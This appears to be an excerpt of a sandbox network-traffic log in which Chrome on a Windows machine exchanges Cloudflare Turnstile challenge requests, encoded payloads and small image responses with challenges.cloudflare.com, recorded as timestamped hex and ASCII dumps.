2024-04-25 13:30:39 UTC	370	IN	Data Raw: 39 58 56 78 62 4e 56 5a 6a 54 31 64 6b 49 54 68 42 61 69 6c 6e 57 6b 74 45 51 33 42 47 52 48 41 78 62 31 56 4c 63 46 77 37 63 47 68 37 56 33 42 42 56 56 32 47 66 34 46 6f 66 58 5a 62 52 49 39 4f 54 6f 46 38 54 46 78 50 69 46 56 77 63 46 5a 79 56 6c 4e 65 61 57 31 2f 57 36 4b 5a 6f 35 56 6c 66 57 61 65 67 47 4a 32 72 47 36 6e 6d 59 6d 6c 6e 49 4a 75 73 61 69 76 6f 36 4f 56 6e 71 69 66 74 62 71 67 64 59 2f 46 68 62 32 36 6c 62 32 6b 70 61 57 32 6e 71 79 38 7a 34 33 42 71 38 58 55 6c 70 43 76 6c 35 79 31 30 64 4b 64 74 72 2b 6a 34 72 65 68 31 36 6a 59 30 2b 4f 70 70 64 33 47 38 61 65 38 72 39 7a 67 39 2f 57 34 34 65 50 33 79 72 6e 62 36 62 69 33 77 4f 37 63 38 75 38 46 35 2b 50 56 43 4f 58 44 31 75 62 73 41 2f 6f 51 7a 77 72 50 42 65 4c 72 31 78 50 34 2b 66 Data Ascii: 9XVxbNVZjT1dkIThBailnWktEQ3BGRHAxb1VLcFw7cGh7V3BBVV2Gf4FofXZbRI9OToF8TFxPiFVwcFZyVlNeaW1/W6KZo5VlfWaegGJ2rG6nmYmlnIJusaivo6OVnqiftbqgdY/Fhb26lb2kpaW2nqy8z43Bq8XUlpCvl5y10dKdtr+j4reh16jY0+Oppd3G8ae8r9zg9/W44eP3yrnb6bi3wO7c8u8F5+PVCOXD1ubsA/oQzwrPBeLr1xP4+f
2024-04-25 13:30:39 UTC	1369	IN	Data Raw: 37 33 65 0d 0a 46 54 31 64 68 59 54 6b 36 61 54 68 5a 57 30 6c 58 54 6e 42 78 5a 54 64 50 5a 33 4a 42 67 31 4e 32 54 47 64 4f 59 49 74 67 68 6d 31 75 62 6e 2b 4c 57 59 32 59 56 70 42 57 6c 6d 43 41 69 6e 47 68 67 48 5a 65 6e 70 74 70 6e 48 65 59 6d 36 79 6e 6b 70 36 6d 6b 61 4b 67 67 37 4f 69 70 34 5a 38 6d 4b 6d 4a 71 35 79 73 66 37 43 4e 77 61 57 42 68 73 62 45 6e 63 43 46 70 73 36 4c 70 38 72 54 7a 4b 79 52 74 4d 66 4e 7a 4e 44 57 31 74 6a 59 32 39 37 4d 31 4f 48 6c 70 65 6a 68 6f 39 33 45 33 65 7a 68 37 36 37 62 31 4c 7a 4f 71 4f 48 47 32 63 54 6d 38 50 58 4a 32 65 75 36 75 41 4c 75 7a 74 33 6f 35 74 34 4b 42 65 30 42 43 67 54 62 2f 50 45 48 44 51 66 49 34 4f 44 70 37 76 7a 63 48 66 55 66 36 66 6a 69 36 77 49 51 2f 43 6b 56 49 76 6e 36 41 2f 59 45 43 Data Ascii: 73eFT1dhYTk6aThZW0lXTnBxZTdPZ3JBg1N2TGdOYItghm1ubn+LWY2YVpBWlmCAinGhgHZenptpnHeYm6ynkp6mkaKgg7Oip4Z8mKmJq5ysf7CNwaWBhsbEncCFps6Lp8rTzKyRtMfNzNDW1tjY297M1OHlpejho93E3ezh767b1LzOqOHG2cTm8PXJ2eu6uALuzt3o5t4KBe0BCgTb/PEHDQfI4ODp7vzcHfUf6fji6wIQ/CkVIvn6A/YEC
2024-04-25 13:30:39 UTC	492	IN	Data Raw: 30 63 30 52 4c 53 6c 46 4f 62 47 78 5a 53 58 74 36 68 54 31 54 65 57 69 48 5a 30 4a 6e 6a 6d 39 34 51 6d 31 4c 63 46 31 56 53 4a 64 74 61 32 74 79 62 46 53 4d 56 58 4b 54 56 48 53 57 66 6e 4b 5a 66 6f 52 68 70 32 79 6b 6f 57 47 5a 71 34 36 6f 6a 33 56 2f 6b 62 4f 78 62 4c 71 36 71 4a 79 5a 6d 72 32 4d 6e 6e 32 6d 78 37 65 51 70 36 6d 59 76 35 37 41 6c 34 69 44 69 4c 2b 7a 73 38 65 50 77 38 2f 43 6d 34 36 59 7a 4c 4b 61 31 39 37 6b 73 71 44 59 76 72 72 55 6f 37 72 56 33 38 33 4f 72 4d 72 50 72 65 50 41 31 4c 48 32 72 39 61 31 31 50 4c 61 75 64 62 67 38 4e 62 68 41 51 4d 42 41 51 72 72 39 74 66 4d 34 78 48 59 43 41 54 77 41 51 4c 33 7a 39 41 5a 36 68 7a 73 48 52 58 64 38 74 34 63 39 78 6e 67 49 43 4d 43 47 79 55 43 46 65 63 4c 4d 44 45 62 4d 79 50 79 43 2f Data Ascii: 0c0RLSlFObGxZSXt6hT1TeWiHZ0Jnjm94Qm1LcF1VSJdta2tybFSMVXKTVHSWfnKZfoRhp2ykoWGZq46oj3V/kbOxbLq6qJyZmr2Mnn2mx7eQp6mYv57Al4iDiL+zs8ePw8/Cm46YzLKa197ksqDYvrrUo7rV383OrMrPrePA1LH2r9a11PLaudbg8NbhAQMBAQrr9tfM4xHYCATwAQL3z9AZ6hzsHRXd8t4c9xngICMCGyUCFecLMDEbMyPyC/
2024-04-25 13:30:39 UTC	90	IN	Data Raw: 35 34 0d 0a 64 75 2b 32 63 50 4b 33 74 33 45 30 4b 76 61 79 4d 6e 57 78 4f 44 69 35 64 6e 49 7a 39 58 47 7a 74 2f 37 33 72 72 45 77 76 37 53 2f 50 7a 4b 43 2b 33 37 2b 66 6a 4d 36 4e 41 55 39 65 33 67 38 39 48 6d 34 2f 7a 63 32 39 66 56 44 51 45 42 42 52 72 66 47 0d 0a Data Ascii: 54du+2cPK3t3E0KvayMnWxODi5dnIz9XGzt/73rrEwv7S/PzKC+37+fjM6NAU9e3g89Hm4/zc29fVDQEBBRrfG
2024-04-25 13:30:39 UTC	346	IN	Data Raw: 31 35 33 0d 0a 79 63 70 35 4f 55 49 2b 65 7a 38 35 67 37 2b 4a 66 41 30 4c 7a 44 7a 38 42 66 33 2b 78 49 55 43 52 77 30 45 7a 5a 45 4c 6b 59 53 45 6a 56 4b 41 6a 6b 64 4b 54 6f 4b 48 77 73 53 54 43 4d 79 53 43 41 6b 4e 44 4e 64 4a 79 34 37 50 43 34 2f 4d 45 56 6a 57 6b 38 6f 56 53 52 58 58 79 56 5a 5a 56 67 78 52 6d 52 4f 5a 56 46 33 54 45 34 79 4c 53 35 77 63 54 78 64 58 6b 4b 42 58 6a 32 42 52 6c 39 42 58 30 4a 64 52 57 4f 51 67 30 78 63 53 33 31 2b 6a 6c 53 53 6a 58 6c 7a 55 6d 69 49 57 32 70 39 6f 6f 75 44 6f 59 2b 55 5a 35 6d 43 6d 6f 4e 71 6a 4b 32 74 71 61 4e 38 62 6f 57 53 63 62 4b 53 68 61 68 34 6b 72 48 41 69 72 2b 56 67 5a 2b 63 77 4b 2b 6b 71 5a 61 44 78 38 71 49 77 35 75 39 73 59 75 39 6a 63 57 6e 77 4a 6d 32 30 62 50 53 30 4a 58 61 75 72 44 Data Ascii: 153ycp5OUI+ez85g7+JfA0LzDz8Bf3+xIUCRw0EzZELkYSEjVKAjkdKToKHwsSTCMySCAkNDNdJy47PC4/MEVjWk8oVSRXXyVZZVgxRmROZVF3TE4yLS5wcTxdXkKBXj2BRl9BX0JdRWOQg0xcS31+jlSSjXlzUmiIW2p9oouDoY+UZ5mCmoNqjK2tqaN8boWScbKShah4krHAir+VgZ+cwK+kqZaDx8qIw5u9sYu9jcWnwJm20bPS0JXaurD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.16	49774	104.17.3.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:39 UTC	486	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/210437745:1714048022:Dj_BjBVN3qSjjU0vh97END1ep2-gHjFWxN7G3ScUWQE/879eb051688c6769/8c6b23695c6ef4f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:39 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Thu, 25 Apr 2024 13:30:39 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: QEmiu0pvgPVBEdlCGWiPeA==$kSTKRer91wQqXmmqfH+MoQ== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 879eb05f2e4a0d16-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:39 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49775	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:40 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/879eb051688c6769/1714051839197/XZM7Ab2ULlZmj4F HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:40 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:40 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 879eb0631e82b0e2-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:40 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 37 08 02 00 00 00 99 ef 1d 4c 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7LIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49776	104.17.3.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:40 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/879eb051688c6769/1714051839197/XZM7Ab2ULlZmj4F HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:41 UTC	200	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:41 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 879eb0663ab606f4-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:41 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 37 08 02 00 00 00 99 ef 1d 4c 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR7LIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49777	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:40 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/879eb051688c6769/1714051839199/057fb2c5758a1dcb71c7532e6ca2bfdf706648b589010795445a7cd5589ae80a/ZT-PUPXmihIYWwI HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:41 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Thu, 25 Apr 2024 13:30:41 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-25 13:30:41 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 42 58 2d 79 78 58 57 4b 48 63 74 78 78 31 4d 75 62 4b 4b 5f 33 33 42 6d 53 4c 57 4a 41 51 65 56 52 46 70 38 31 56 69 61 36 41 6f 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gBX-yxXWKHctxx1MubKK_33BmSLWJAQeVRFp81Via6AoAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-25 13:30:41 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49778	104.17.2.184	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:41 UTC	916	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/210437745:1714048022:Dj_BjBVN3qSjjU0vh97END1ep2-gHjFWxN7G3ScUWQE/879eb051688c6769/8c6b23695c6ef4f HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 28725 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 8c6b23695c6ef4f sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/53ex4/0x4AAAAAAAYJMTeME2wR372g/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:41 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 65 62 30 35 31 36 38 38 63 36 37 36 39 3d 6d 62 77 64 78 56 50 33 55 73 68 43 77 56 65 62 32 72 39 66 37 76 39 6d 37 77 77 68 56 66 50 69 32 4f 39 76 38 68 4f 67 4f 37 76 47 62 76 4f 57 4e 4f 73 76 39 37 4f 75 4f 68 71 6b 56 68 66 50 58 32 4f 32 33 32 77 4f 34 68 77 4f 49 64 56 72 4f 77 41 6b 30 76 76 77 64 73 62 50 53 4f 32 73 62 4f 33 79 52 67 67 37 68 4b 41 50 52 24 4f 44 4a 4c 74 51 32 4f 6e 76 50 43 4f 4b 6b 39 74 4f 31 30 30 64 4f 39 47 4f 39 57 77 4f 39 68 6b 7a 4f 38 66 4f 47 6b 4f 34 4e 76 50 34 56 76 52 68 70 6b 50 54 56 77 4f 31 66 66 78 55 74 77 4f 7a 32 4f 78 4f 4d 43 56 4b 76 76 48 5a 4b 54 35 61 4e 67 4e 4f 50 54 42 4f 4d 44 75 66 31 4e 4e 68 58 66 68 56 55 51 34 31 56 36 36 68 37 54 6a 63 42 4a 6c 56 44 4f 56 6f 48 55 32 4f Data Ascii: v_879eb051688c6769=mbwdxVP3UshCwVeb2r9f7v9m7wwhVfPi2O9v8hOgO7vGbvOWNOsv97OuOhqkVhfPX2O232wO4hwOIdVrOwAk0vvwdsbPSO2sbO3yRgg7hKAPR$ODJLtQ2OnvPCOKk9tO100dO9GO9WwO9hkzO8fOGkO4NvP4VvRhpkPTVwO1ffxUtwOz2OxOMCVKvvHZKT5aNgNOPTBOMDuf1NNhXfhVUQ41V66h7TjcBJlVDOVoHU2O
2024-04-25 13:30:41 UTC	12341	OUT	Data Raw: 50 62 4f 24 4f 6d 4f 50 64 32 4c 4b 5a 64 41 4e 51 64 49 6b 34 68 39 64 39 73 4f 36 4f 4f 62 39 55 50 32 4f 69 64 4e 62 4f 6e 4f 61 64 4e 66 4b 42 4f 57 76 39 52 4f 47 4f 7a 76 4e 68 4f 54 4f 31 76 50 4d 4f 55 4f 5a 64 56 66 4f 31 4f 33 6b 4e 72 4f 5a 4f 50 6b 50 33 4f 77 4f 62 76 4e 61 35 49 4f 70 4f 4e 76 4f 37 4f 45 76 56 6b 4f 24 4f 56 77 56 4d 50 65 4f 49 6b 47 6b 50 4c 64 34 33 56 55 50 57 4f 4e 76 47 4f 56 79 4f 57 4d 50 4f 4f 50 4f 5a 57 56 64 39 53 4f 6e 76 4f 6b 4f 69 4f 39 76 32 4d 50 49 4f 5a 64 4e 66 4f 39 62 6d 4f 77 72 4f 55 4f 73 6b 50 4f 4f 2d 4f 7a 6b 39 76 64 76 4f 45 6a 74 33 50 51 4f 44 76 7a 52 56 6f 4f 34 33 39 77 50 35 63 53 6b 38 31 50 38 46 69 24 4f 77 56 71 46 68 64 73 33 76 24 4f 6e 6b 39 7a 50 75 7a 43 77 50 7a 4f 75 6b 53 4f Data Ascii: PbO$OmOPd2LKZdANQdIk4h9d9sO6OOb9UP2OidNbOnOadNfKBOWv9ROGOzvNhOTO1vPMOUOZdVfO1O3kNrOZOPkP3OwObvNa5IOpONvO7OEvVkO$OVwVMPeOIkGkPLd43VUPWONvGOVyOWMPOOPOZWVd9SOnvOkOiO9v2MPIOZdNfO9bmOwrOUOskPOO-Ozk9vdvOEjt3PQODvzRVoO439wP5cSk81P8Fi$OwVqFhds3v$Onk9zPuzCwPzOukSO
2024-04-25 13:30:41 UTC	350	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:41 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: 4gHxuc6Kw2EucKo4STEoYtzem/P8CiOX2a3wrC9Jd7+X1PbYKorx9fECm95z2rNz$SHUYWMwEEfuXDxL1EuTIIQ== vary: accept-encoding Server: cloudflare CF-RAY: 879eb068bd7944ed-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:41 UTC	1019	IN	Data Raw: 34 35 39 0d 0a 59 58 6c 70 6a 55 31 64 54 57 57 42 54 6d 4a 6a 66 34 35 6e 62 58 46 75 63 58 56 35 61 35 4e 35 66 57 39 34 57 34 4a 7a 63 47 64 2f 59 35 6c 33 67 6f 4b 42 67 49 75 50 62 49 6d 4a 62 59 57 55 6f 6e 75 72 71 4c 79 6f 75 5a 61 41 6c 4b 79 44 6c 5a 6d 32 77 62 65 61 79 4b 71 37 78 73 58 48 77 70 47 4d 70 64 50 4a 78 70 61 30 6c 4e 62 5a 73 74 44 57 6d 4c 7a 56 33 39 36 6b 33 64 61 38 31 37 7a 6b 77 4f 65 2f 33 36 37 79 32 2b 2f 79 77 4d 66 35 74 37 72 70 2b 62 62 51 75 63 7a 52 37 4e 72 31 41 38 55 48 36 4e 6a 49 2b 77 6f 4b 7a 51 30 4b 79 4e 77 43 44 2f 33 57 42 51 72 51 35 42 6e 34 38 4e 41 4f 46 74 37 55 4a 43 41 6d 38 50 63 6e 45 2b 6f 61 4b 75 6f 51 48 2b 6f 4a 4e 43 51 56 43 51 6f 5a 49 78 73 4f 46 6a 63 79 4f 42 77 37 4f 7a 49 79 4e 50 Data Ascii: 459YXlpjU1dTWWBTmJjf45nbXFucXV5a5N5fW94W4JzcGd/Y5l3goKBgIuPbImJbYWUonurqLyouZaAlKyDlZm2wbeayKq7xsXHwpGMpdPJxpa0lNbZstDWmLzV396k3da817zkwOe/367y2+/ywMf5t7rp+bbQuczR7Nr1A8UH6NjI+woKzQ0KyNwCD/3WBQrQ5Bn48NAOFt7UJCAm8PcnE+oaKuoQH+oJNCQVCQoZIxsOFjcyOBw7OzIyNP
2024-04-25 13:30:41 UTC	101	IN	Data Raw: 64 6a 55 59 56 41 5a 6f 78 48 64 6c 31 71 69 32 57 53 61 34 52 79 62 47 79 4f 53 34 75 44 6c 35 52 77 63 6c 5a 65 6a 32 4a 74 6b 6f 61 63 68 61 56 39 67 47 6d 49 72 6e 32 65 67 36 31 39 70 61 75 58 70 34 79 74 6f 6f 57 55 73 48 6c 38 71 62 4b 54 74 37 4c 44 6b 4d 57 61 77 71 43 44 6e 4a 36 59 6f 0d 0a Data Ascii: djUYVAZoxHdl1qi2WSa4RybGyOS4uDl5RwclZej2JtkoachaV9gGmIrn2eg619pauXp4ytooWUsHl8qbKTt7LDkMWawqCDnJ6Yo
2024-04-25 13:30:41 UTC	1369	IN	Data Raw: 31 36 63 37 0d 0a 5a 32 6e 6a 4a 4b 63 77 72 62 4d 74 64 66 54 73 4a 71 34 33 72 48 4f 72 73 32 74 76 4e 6a 52 33 38 44 63 70 61 6a 56 34 61 72 42 32 2b 54 44 78 74 7a 72 33 73 6e 6a 37 74 76 6a 35 2f 44 53 78 2f 72 41 31 50 44 61 38 4f 2f 54 36 62 2f 68 42 4f 77 4a 36 64 66 70 37 76 33 51 43 64 49 4c 46 75 54 54 31 66 6e 6e 31 66 50 76 2b 4e 2f 59 39 75 38 64 35 76 76 39 35 66 67 48 48 41 59 4b 49 75 49 4c 44 51 44 71 4a 42 41 55 43 41 6f 4d 48 50 51 4f 39 43 2f 37 39 79 4d 6c 2f 6a 45 43 48 55 56 46 50 68 6e 2b 49 6b 77 49 45 44 38 51 45 79 41 49 55 55 77 77 55 7a 67 56 4c 45 6b 72 50 30 41 64 59 6b 45 66 56 46 68 47 49 32 5a 59 57 6b 42 4c 61 6d 78 71 61 6e 4e 56 59 45 45 32 54 58 70 30 62 32 30 31 58 46 6c 67 4f 55 38 2f 56 6f 56 38 68 6e 35 48 58 45 Data Ascii: 16c7Z2njJKcwrbMtdfTsJq43rHOrs2tvNjR38DcpajV4arB2+TDxtzr3snj7tvj5/DSx/rA1PDa8O/T6b/hBOwJ6dfp7v3QCdILFuTT1fnn1fPv+N/Y9u8d5vv95fgHHAYKIuILDQDqJBAUCAoMHPQO9C/79yMl/jECHUVFPhn+IkwIED8QEyAIUUwwUzgVLEkrP0AdYkEfVFhGI2ZYWkBLamxqanNVYEE2TXp0b201XFlgOU8/VoV8hn5HXE
2024-04-25 13:30:41 UTC	1369	IN	Data Raw: 69 4d 71 39 6e 34 6a 50 72 4a 4c 59 30 74 66 61 76 62 65 37 33 71 75 5a 72 4c 32 36 74 35 37 47 36 38 65 6b 78 4f 79 2f 33 4f 6d 76 72 36 62 46 78 4b 33 52 37 39 58 77 2b 65 37 47 30 4c 7a 71 76 4d 33 55 2f 76 76 51 43 50 51 42 78 4f 45 4f 42 65 51 46 42 67 37 73 43 76 4c 6a 36 64 6a 75 31 64 72 70 2b 74 66 39 2f 51 33 64 2b 39 77 68 35 66 37 67 2f 75 48 38 35 41 4d 77 49 2b 76 37 36 68 30 65 4c 76 4d 79 4c 52 6b 54 38 51 67 6f 2f 6a 6f 54 48 66 68 42 46 7a 67 77 51 78 73 63 51 41 4d 64 51 46 42 51 50 6b 38 76 48 79 49 31 53 6b 63 71 4c 30 6b 7a 44 7a 30 76 56 68 73 73 59 30 42 61 59 78 39 48 49 7a 4a 6b 53 69 64 71 58 46 35 45 54 32 35 77 62 6d 35 33 57 57 52 46 4f 6c 46 2b 65 6a 5a 32 57 46 67 36 65 6c 35 63 50 6e 36 42 59 45 4b 43 68 32 52 47 68 6f 78 Data Ascii: iMq9n4jPrJLY0tfavbe73quZrL26t57G68ekxOy/3Omvr6bFxK3R79Xw+e7G0LzqvM3U/vvQCPQBxOEOBeQFBg7sCvLj6dju1drp+tf9/Q3d+9wh5f7g/uH85AMwI+v76h0eLvMyLRkT8Qgo/joTHfhBFzgwQxscQAMdQFBQPk8vHyI1SkcqL0kzDz0vVhssY0BaYx9HIzJkSidqXF5ET25wbm53WWRFOlF+ejZ2WFg6el5cPn6BYEKCh2RGhox
2024-04-25 13:30:41 UTC	1369	IN	Data Raw: 49 2f 54 71 4c 32 54 76 39 6d 58 73 38 2f 41 33 73 33 4f 33 35 36 35 77 62 69 38 76 38 75 38 75 4f 44 41 33 2b 7a 30 30 4f 54 74 37 4e 50 4c 32 4f 72 6e 38 73 77 41 33 72 2f 52 33 75 48 32 31 64 58 33 31 51 62 6d 43 67 6e 72 41 51 7a 37 46 75 38 47 45 51 37 77 35 64 6e 53 36 66 77 66 46 50 7a 72 38 4f 41 6b 38 79 50 66 39 77 72 6a 4b 53 6a 34 47 77 6a 6f 41 41 62 6d 4d 69 45 54 45 50 4d 78 2b 44 34 31 47 44 41 74 45 77 77 75 4a 42 63 51 4f 6a 49 59 4f 79 67 35 48 42 68 4b 50 53 51 68 4a 45 73 6e 49 54 52 43 4b 55 73 34 52 53 39 4f 57 6b 30 7a 4c 55 46 44 4d 6c 41 65 49 55 42 6b 62 44 5a 4d 62 57 34 2b 4f 79 56 4c 62 58 41 7a 56 32 77 77 5a 47 59 35 57 46 74 37 64 54 32 41 52 48 35 46 51 6e 5a 62 64 49 42 4a 66 49 4b 45 52 6d 4f 52 68 5a 52 2f 66 6e 43 55 Data Ascii: I/TqL2Tv9mXs8/A3s3O3565wbi8v8u8uODA3+z00OTt7NPL2Orn8swA3r/R3uH21dX31QbmCgnrAQz7Fu8GEQ7w5dnS6fwfFPzr8OAk8yPf9wrjKSj4GwjoAAbmMiETEPMx+D41GDAtEwwuJBcQOjIYOyg5HBhKPSQhJEsnITRCKUs4RS9OWk0zLUFDMlAeIUBkbDZMbW4+OyVLbXAzV2wwZGY5WFt7dT2ARH5FQnZbdIBJfIKERmORhZR/fnCU
2024-04-25 13:30:41 UTC	1369	IN	Data Raw: 37 59 6d 70 2f 68 6e 71 50 62 73 75 6a 54 79 72 7a 71 31 2b 54 71 38 61 33 61 79 64 43 76 34 71 33 6e 32 64 44 4d 32 39 6a 79 79 4e 2f 64 39 64 71 38 39 4f 58 6c 78 64 33 37 33 65 72 6f 44 2b 30 42 42 52 48 4e 38 39 50 54 39 66 63 52 39 2f 72 57 35 76 48 39 32 69 44 59 41 4e 37 39 48 41 54 69 41 41 6f 61 41 41 73 71 4c 43 6f 71 4d 78 55 67 41 66 55 4e 4f 67 49 78 4c 52 67 71 4b 79 67 50 2b 55 49 55 52 68 5a 47 50 67 67 63 43 45 55 69 51 67 70 4a 52 51 34 6e 4c 6b 39 4e 4a 55 78 4b 53 54 63 30 47 6a 63 35 4d 56 35 4b 4d 45 35 62 59 6d 64 59 58 7a 78 6a 59 46 56 6d 51 57 68 4d 61 6a 45 74 51 32 52 78 64 48 70 45 57 47 74 5a 54 46 77 79 56 6a 39 5a 57 6d 46 64 51 55 64 52 65 6d 4a 4c 56 6b 52 6d 61 46 70 52 67 56 78 64 63 34 43 42 5a 34 64 70 57 6d 56 72 6b Data Ascii: 7Ymp/hnqPbsujTyrzq1+Tq8a3aydCv4q3n2dDM29jyyN/d9dq89OXlxd373eroD+0BBRHN89PT9fcR9/rW5vH92iDYAN79HATiAAoaAAsqLCoqMxUgAfUNOgIxLRgqKygP+UIURhZGPggcCEUiQgpJRQ4nLk9NJUxKSTc0Gjc5MV5KME5bYmdYXzxjYFVmQWhMajEtQ2RxdHpEWGtZTFwyVj9ZWmFdQUdRemJLVkRmaFpRgVxdc4CBZ4dpWmVrk
